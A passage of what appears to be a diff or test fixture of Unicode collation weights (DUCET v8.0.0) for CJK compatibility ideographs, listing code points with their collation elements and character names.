COMPATIBILITY IDEOGRAPH-F934 -FA5B ; [.3C01.0033.0002.8005][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA5B -FAB2 ; [.3C01.0033.0002.8005][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB2 -2F97A ; [.3C01.0033.0002.8005][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F97A -F9B0 ; [.3BFA.002B.0002.8046][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B0 -F997 ; [.3BFA.0028.0002.806F][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F997 -2F97F ; [.3C03.0028.0002.8070][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F97F -F945 ; [.3BFA.0027.0002.807E][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F945 -F953 ; [.3BFA.0022.0002.808B][.3C85.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F953 -2F8D6 ; [.3BF7.0023.0002.80AD][.3C80.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8D6 -2F982 ; [.3C00.0024.0002.80B2][.3C84.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F982 -2F985 ; [.3BFC.003F.0002.813E][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F985 -F926 ; [.3BFA.0022.0002.81D8][.3C73.0020.0002][.3CE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F926 -F9F6 ; [.3BFA.0024.0002.81E8][.3C87.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F6 -FA5C ; [.3C03.002A.0002.81ED][.3C83.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA5C -2F893 ; [.3C00.002E.0002.8201][.3C79.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F893 -2F98B ; [.3C00.002E.0002.8201][.3C79.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F98B -F97C ; [.3BFA.002A.0002.826F][.3C75.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F97C -2F990 ; [.3C00.0037.0002.828B][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F990 -2F991 ; [.3C01.003B.0002.829D][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F991 -2F993 ; [.3C07.0029.0002.82B1][.3C7C.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F993 -2F994 ; [.3BFC.0035.0002.82B3][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F994 -2F995 ; [.3C00.0029.0002.82BD][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F995 -F974 ; [.3C00.0023.0002.82E5][.3C75.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F974 -2F998 ; [.3C00.0023.0002.82E5][.3C75.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F998 -2F996 ; [.3BF5.003A.0002.82E6][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F996 -2F999 ; [.3C03.002E.0002.831D][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F999 -2F99C ; [.3C00.004C.0002.8323][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F99C -F9FE ; [.3BF8.0022.0002.8336][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9FE -FAB3 ; [.3C07.0034.0002.8352][.3C7C.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB3 -2F99D ; [.3BFB.002A.0002.83BD][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F99D -F93E ; [.3BFA.0024.0002.83C9][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F93E -2F9A1 ; [.3BF5.0023.0002.83CA][.3C80.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9A1 -2F9A2 ; [.3BF5.0025.0002.83CC][.3C84.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9A2 -2F9A3 ; [.3C03.0029.0002.83DC][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9A3 -FAB4 ; [.3C07.002A.0002.83EF][.3C7C.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB4 -F958 ; [.3BFA.0025.0002.83F1][.3C85.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F958 -F918 ; [.3BFA.0025.0002.843D][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F918 -F96E ; [.3C00.0023.0002.8449][.3C79.0020.0002][.3CE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F96E -FA5F ; [.3C01.0034.0002.8457][.3C77.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA5F -2F99F ; [.3C01.0034.0002.8457][.3C77.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F99F -F999 ; [.3BFA.0029.0002.84EE][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F999 -2F9A8 ; [.3C06.002A.0002.84F1][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9A8 -F9C2 ; [.3BFA.002A.0002.84FC][.3C7F.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C2 -2F9AC ; [.3C00.0062.0002.8564][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9AC -F923 ; [.3BFA.0028.0002.85CD][.3C73.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F923 -F9F0 ; [.3BFA.0025.0002.85FA][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F0 -F935 ; [.3BFA.002A.0002.8606][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F935 -F91F ; [.3BFA.0027.0002.862D][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F91F -F910 ; [.3BFA.0025.0002.863F][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F910 -2F9B3 ; [.3C07.0023.0002.8650][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9B3 -F936 ; [.3BFA.002B.0002.865C][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F936 -2F9B4 ; [.3BFA.002B.0002.865C][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9B4 -2F9B5 ; [.3C07.0025.0002.8667][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9B5 -2F9B7 ; [.3C03.0034.0002.86A9][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9B7 -2F9BC ; [.3C01.0026.0002.8728][.3C77.0020.0002][.3CE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9BC -F911 ; [.3BFA.0026.0002.87BA][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F911 -F927 ; [.3BFA.0023.0002.881F][.3C73.0020.0002][.3CE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F927 -FA08 ; [.3C07.0025.0002.884C][.3C74.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA08 -2F9C4 ; [.3C00.0030.0002.8863][.3C86.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9C4 -F9A0 ; [.3BFA.0026.0002.88C2][.3C79.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A0 -F9E7 ; [.3BFA.0034.0002.88CF][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E7 -F9E8 ; [.3BFA.0035.0002.88E1][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E8 -F912 ; [.3BFA.0027.0002.88F8][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F912 -FA60 ; [.3BF5.0028.0002.8910][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA60 -FAB6 ; [.3BF5.0034.0002.8941][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB6 -F924 ; [.3BFA.0029.0002.8964][.3C73.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F924 -FAB7 ; [.3BFC.002D.0002.8986][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB7 -FA0A ; [.3BF5.0028.0002.898B][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA0A -FA61 ; [.3BFE.0037.0002.8996][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA61 -FAB8 ; [.3BFE.0037.0002.8996][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB8 -2F9CF ; [.3BFE.0031.0002.8AA0][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9CF -F96F ; [.3BFE.002B.0002.8AAA][.3C77.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F96F -F9A1 ; [.3BFE.002B.0002.8AAA][.3C77.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A1 -FAB9 ; [.3C01.0046.0002.8ABF][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB9 -FABB ; [.3C03.0026.0002.8ACB][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FABB -F97D ; [.3BFA.002B.0002.8AD2][.3C75.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F97D -F941 ; [.3BFA.0021.0002.8AD6][.3C7B.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F941 -FABE ; [.3C00.0046.0002.8AED][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FABE -2F9D0 ; [.3C00.0046.0002.8AED][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D0 -FA22 ; [.3C01.0030.0002.8AF8][.3C78.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA22 -FABA ; [.3C01.0030.0002.8AF8][.3C78.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FABA -F95D ; [.3BF7.0021.0002.8AFE][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F95D -FABD ; [.3BF7.0021.0002.8AFE][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FABD -FA62 ; [.3C00.0022.0002.8B01][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA62 -FABC ; [.3C00.0022.0002.8B01][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FABC -FA63 ; [.3BF5.002D.0002.8B39][.3C85.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA63 -FABF ; [.3BF5.002D.0002.8B39][.3C85.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FABF -F9FC ; [.3BFE.002C.0002.8B58][.3C87.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9FC -F95A ; [.3BF8.002A.0002.8B80][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F95A -FAC0 ; [.3BFC.0023.0002.8B8A][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC0 -2F9D1 ; [.3BFC.0023.0002.8B8A][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D1 -F900 ; [.3BF5.0057.0002.8C48][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F900 -2F9D2 ; [.3BFE.003B.0002.8C55][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D2 -2F9D4 ; [.3BF5.002E.0002.8CAB][.3C7C.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D4 -2F9D5 ; [.3BFC.0032.0002.8CC1][.3C80.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D5 -F948 ; [.3BFA.0025.0002.8CC2][.3C7E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F948 -F903 ; [.3BF5.0039.0002.8CC8][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F903 -FA64 ; [.3BFC.002D.0002.8CD3][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA64 -FA65 ; [.3C01.002B.0002.8D08][.3C85.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA65 -FAC1 ; [.3C01.002B.0002.8D08][.3C85.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC1 -2F9D6 ; [.3BF5.0039.0002.8D1B][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D6 -2F9D7 ; [.3BF5.0058.0002.8D77][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D7 -2F9DA ; [.3BFC.0027.0002.8DCB][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9DA -F937 ; [.3BFA.002C.0002.8DEF][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F937 -F902 ; [.3C03.002D.0002.8ECA][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F902 -F998 ; [.3BFA.002A.0002.8F26][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F998 -F9D7 ; [.3BFA.0026.0002.8F2A][.3C84.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D7 -FAC2 ; [.3BFE.004F.0002.8F38][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC2 -2F9DF ; [.3BFE.004F.0002.8F38][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9DF -FA07 ; [.3BFC.002F.0002.8F3B][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA07 -F98D ; [.3BFA.0026.0002.8F62][.3C79.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F98D -F971 ; [.3C01.003E.0002.8FB0][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F971 -F99A ; [.3BFA.002B.0002.9023][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F99A -FA25 ; [.3C00.0027.0002.9038][.3C87.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA25 -FA67 ; [.3C00.0027.0002.9038][.3C87.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA67 -FAC3 ; [.3C01.0041.0002.9072][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC3 -F9C3 ; [.3BFA.002B.0002.907C][.3C7F.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C3 -F913 ; [.3BFA.0028.0002.908F][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F913 -FA2E ; [.3BFA.0028.0002.90DE][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA2E -FA26 ; [.3BF8.0045.0002.90FD][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA26 -F919 ; [.3BFA.0026.0002.916A][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F919 -F9B7 ; [.3BFA.0024.0002.91B4][.3C7A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B7 -F9E9 ; [.3BFA.0036.0002.91CC][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E9 -F97E ; [.3BFA.002D.0002.91CF][.3C75.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F97E -F90A ; [.3BF5.0021.0002.91D1][.3C87.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F90A -F9B1 ; [.3BFA.002D.0002.9234][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B1 -2F9E7 ; [.3BFC.002F.0002.9238][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9E7 -2F9EA ; [.3BFC.0039.0002.927C][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9EA -2F9E8 ; [.3C07.003F.0002.92D7][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9E8 -F93F ; [.3BFA.0025.0002.9304][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F93F -F99B ; [.3BFA.002C.0002.934A][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F99B -2F9EE ; [.3BF5.0033.0002.958B][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9EE -F986 ; [.3BFA.002E.0002.95AD][.3C79.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F986 -F9C6 ; [.3C00.0031.0002.962E][.3C7C.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C6 -F951 ; [.3BFA.002D.0002.964B][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F951 -FA09 ; [.3BF5.0037.0002.964D][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA09 -F959 ; [.3BFA.0026.0002.9675][.3C85.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F959 -F9D3 ; [.3BFA.0023.0002.9678][.3C84.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D3 -FAC6 ; [.3C01.004E.0002.967C][.3C77.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC6 -F9DC ; [.3BFA.0021.0002.9686][.3C84.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9DC -F9F1 ; [.3BFA.0027.0002.96A3][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F1 -FA2F ; [.3BFA.0025.0002.96B7][.3C7A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA2F -F9B8 ; [.3BFA.0026.0002.96B8][.3C7A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B8 -F9EA ; [.3BFA.0038.0002.96E2][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9EA -FA68 ; [.3BF7.0023.0002.96E3][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA68 -FAC7 ; [.3BF7.0023.0002.96E3][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC7 -F9B2 ; [.3BFA.002E.0002.96F6][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B2 -F949 ; [.3BFA.0028.0002.96F7][.3C7E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F949 -2F9F5 ; [.3C00.0031.0002.9723][.3C80.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9F5 -F938 ; [.3BFA.002E.0002.9732][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F938 -F9B3 ; [.3BFA.002F.0002.9748][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B3 -FA1C ; [.3C01.0054.0002.9756][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA1C -FAC8 ; [.3C01.0054.0002.9756][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC8 -2F9FA ; [.3C06.0034.0002.97E0][.3C87.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9FA -FA69 ; [.3C07.0026.0002.97FF][.3C75.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA69 -FACA ; [.3C07.0026.0002.97FF][.3C75.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FACA -F9B4 ; [.3BFA.0030.0002.9818][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B4 -FA6A ; [.3BFC.002E.0002.983B][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA6A -FACC ; [.3BFC.002E.0002.983B][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FACC -F9D0 ; [.3BFA.002E.0002.985E][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D0 -2FA02 ; [.3BF5.005B.0002.98E2][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2FA02 -FA2A ; [.3BFC.0039.0002.98EF][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA2A -FA2B ; [.3BFE.005A.0002.98FC][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA2B -FA2C ; [.3BF5.0030.0002.9928][.3C7C.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA2C -F91A ; [.3BFA.0027.0002.99F1][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F91A -F987 ; [.3BFA.0030.0002.9A6A][.3C79.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F987 -FACD ; [.3C01.004C.0002.9B12][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FACD -2FA0A ; [.3C01.004C.0002.9B12][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2FA0A -F939 ; [.3BFA.002F.0002.9B6F][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F939 -F9F2 ; [.3BFA.0028.0002.9C57][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F2 -FA2D ; [.3C07.0025.0002.9DB4][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA2D -F93A ; [.3BFA.0030.0002.9DFA][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F93A -F920 ; [.3BFA.0028.0002.9E1E][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F920 -F940 ; [.3BFA.0026.0002.9E7F][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F940 -F988 ; [.3BFA.0031.0002.9E97][.3C79.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F988 -F9F3 ; [.3BFA.0029.0002.9E9F][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F3 -2FA15 ; [.3BFB.0028.0002.9EBB][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2FA15 -F989 ; [.3BFA.0032.0002.9ECE][.3C79.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F989 -2FA1C ; [.3BFC.004A.0002.9F3B][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2FA1C -F9C4 ; [.3BFA.0021.0002.9F8D][.3C7F.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C4 -FAD9 ; [.3BFA.002E.0002.9F8E][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAD9 -F907 ; [.3BF5.0056.0002.9F9C][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F907 -F908 ; [.3BF5.0056.0002.9F9C][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F908 -FACE ; [.3BF5.0056.0002.9F9C][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FACE + entry => <<'ENTRY', # for DUCET v8.0.0 +F967 ; [.3A65.0021.0002.4E0D][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F967 +FA70 ; [.3A65.0032.0002.4E26][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA70 +F905 ; [.3A5E.0021.0002.4E32][.3AE4.0020.0002][.3B4F.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F905 +2F801 ; [.3A70.0021.0002.4E38][.3AE5.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F801 +F95E ; [.3A61.0021.0002.4E39][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F95E +F91B ; [.3A63.0021.0002.4E82][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F91B +F9BA ; [.3A63.0021.0002.4E86][.3AE8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9BA +F977 ; [.3A63.0021.0002.4EAE][.3ADE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F977 +F9FD ; [.3A67.0021.0002.4EC0][.3AF0.0020.0002][.3B4A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9FD +F9A8 ; [.3A63.0021.0002.4EE4][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A8 +F92D ; [.3A63.0021.0002.4F86][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F92D +F9B5 ; [.3A63.0021.0002.4F8B][.3AE3.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B5 +FA30 ; [.3A64.0021.0002.4FAE][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA30 +2F805 ; [.3A64.0021.0002.4FAE][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F805 +2F806 ; [.3A6E.0023.0002.4FBB][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F806 +F965 ; [.3A6F.0021.0002.4FBF][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F965 +2F807 ; [.3A65.0022.0002.5002][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F807 +F9D4 ; [.3A63.0022.0002.502B][.3AED.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D4 +2F809 ; [.3A65.0022.0002.5099][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F809 +2F80B ; [.3A67.0023.0002.50CF][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F80B +F9BB ; [.3A63.0022.0002.50DA][.3AE8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9BB +FA31 ; [.3A67.0023.0002.50E7][.3AEE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA31 +2F80A ; [.3A67.0023.0002.50E7][.3AEE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F80A +FA0C ; [.3A69.0021.0002.5140][.3AE4.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA0C +FA74 ; [.3A6C.0021.0002.5145][.3AE9.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA74 +FA32 ; [.3A64.0021.0002.514D][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA32 +2F80E ; [.3A64.0021.0002.514D][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F80E +2F814 ; [.3A60.0022.0002.5167][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F814 +FA72 ; [.3A6A.0024.0002.5168][.3AE0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA72 +F978 ; [.3A63.0023.0002.5169][.3ADE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F978 +F9D1 ; [.3A63.0021.0002.516D][.3AED.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D1 +2F811 ; [.3A5E.0026.0002.5177][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F811 +FA75 ; 